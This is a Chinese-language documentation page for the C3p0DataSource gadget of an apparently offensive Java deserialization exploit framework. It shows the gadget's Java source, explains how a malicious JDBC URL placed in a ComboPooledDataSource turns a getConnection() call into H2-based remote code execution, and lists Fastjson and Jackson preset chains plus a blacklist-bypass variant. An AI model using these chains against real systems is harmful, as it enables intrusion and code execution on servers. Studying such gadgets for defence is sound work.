Skip to content

Latest commit

 

History

History
55 lines (45 loc) · 3.96 KB

File metadata and controls

55 lines (45 loc) · 3.96 KB

C3p0DataSource JDBC URL Attack(C3p0DataSource)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖c3p0(com.mchange.v2.c3p0)

作用

构造一个 com.mchange.v2.c3p0.ComboPooledDataSource,把攻击者的 JDBC URL 写入其 jdbcUrl 属性。当上游 gadget 触发该 DataSource 的 getter getConnection() 时,C3p0 会用这个 JDBC URL 建立连接,从而把「getter 调用」转化为任意 JDBC URL 利用(例如经 H2 JDBC 执行 JS 表达式 / 加载字节码 RCE)。是「Getter → JDBC」的桥接构件。

链接标签

  • 入口 tagsDataSourceChainsGetterSerializable —— 承接会调用 getter(尤其 getConnection)的上一环;自身可序列化,可直接作为字段被上游对象持有。
  • 衔接 nextTagsJdbcUrlChains —— 之后接一个「构造恶意 JDBC URL」的 gadget,见 H2JavaJdbc1MysqlJdbcSqliteRceJdbc 等。
  • excludes:无。

源码剖析

private final String getterMethodName = "getConnection";
private final String getterPropertyName = "connection";

public Object getObject(String jdbcUrl) {
    ComboPooledDataSource dataSource = new ComboPooledDataSource();
    dataSource.setJdbcUrl(jdbcUrl);            // 注入恶意 JDBC URL
    return dataSource;
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    String jdbcUrl = (String) chain.doCreate(context);                       // 内层 JdbcUrlChains 产出 URL 字符串
    context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);          // 告诉上游:本对象是 DataSource 类型
    context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");        // 需触发的方法
    context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");             // 对应的属性名
    return this.getObject(jdbcUrl);
}
  • jdbcUrl 来自下游 JdbcUrlChains gadget(如 H2 的 jdbc:h2:mem:...INIT=RUNSCRIPT... 或触发 JS 表达式的 URL)。
  • 关键在于 invokeGadgetContext 注入三个键:SUPER_CLASS_NAME_KEY=DataSourceSPECIAL_METHOD_NAME_KEY="getConnection"GETTER_PARAM_NAME_KEY="connection"。上游 getter 型 gadget(如 CommonsBeanutils1BeanComparator,或 Fastjson/Jackson 的属性解析)据此得知:应把本对象当作 DataSource、通过读取名为 connection 的属性(即调用 getConnection())来触发它。
  • getterMethodName/getterPropertyName 两个私有常量与注入的 context 值一致,仅作自文档说明。
  • 一旦 getConnection() 被调用,ComboPooledDataSourcejdbcUrl 发起真实 JDBC 连接,把控制权交给下游 JDBC gadget 完成最终利用(RCE / SSRF / 文件)。

参数(@Param)

本类无独立 @Param;恶意 JDBC URL 由下游 JdbcUrlChains gadget 经 chain.doCreate 提供。

适用版本与原理要点

  • 依赖 classpath 存在 c3p0,且 ComboPooledDataSource 可实例化并可序列化。
  • 需上游存在一个能触发 getConnection getter 的入口(如 CB1 的 BeanComparator、Fastjson/Jackson 的字段解析)——因此本 gadget 常处于链的中段。
  • 最终 RCE 能力取决于所配 JDBC URL 与目标数据库驱动(H2 最常用,可 INIT=RUNSCRIPT/JS 表达式执行任意 Java)。

所属预设链

  • Fastjson C3p0 Jdbc h2链([Fastjson, C3p0DataSource, H2JavaJdbc1, BytecodeConvert, Exec]
  • Jackson C3p0 Jdbc h2链([Jackson, DWrap, C3p0DataSource, H2JavaJdbc1, BytecodeConvert, Exec]

关联

  • 上游(触发 getConnection getter):CommonsBeanutils1、Fastjson、Jackson。
  • 下游(nextTags=JdbcUrlChains):H2JavaJdbc1MysqlJdbcSqliteRceJdbc 等。
  • 同族:C3p0DataSource2(改用 AfterCloseLoggingComboPooledDataSource 载体,绕过对 ComboPooledDataSource 的黑名单)。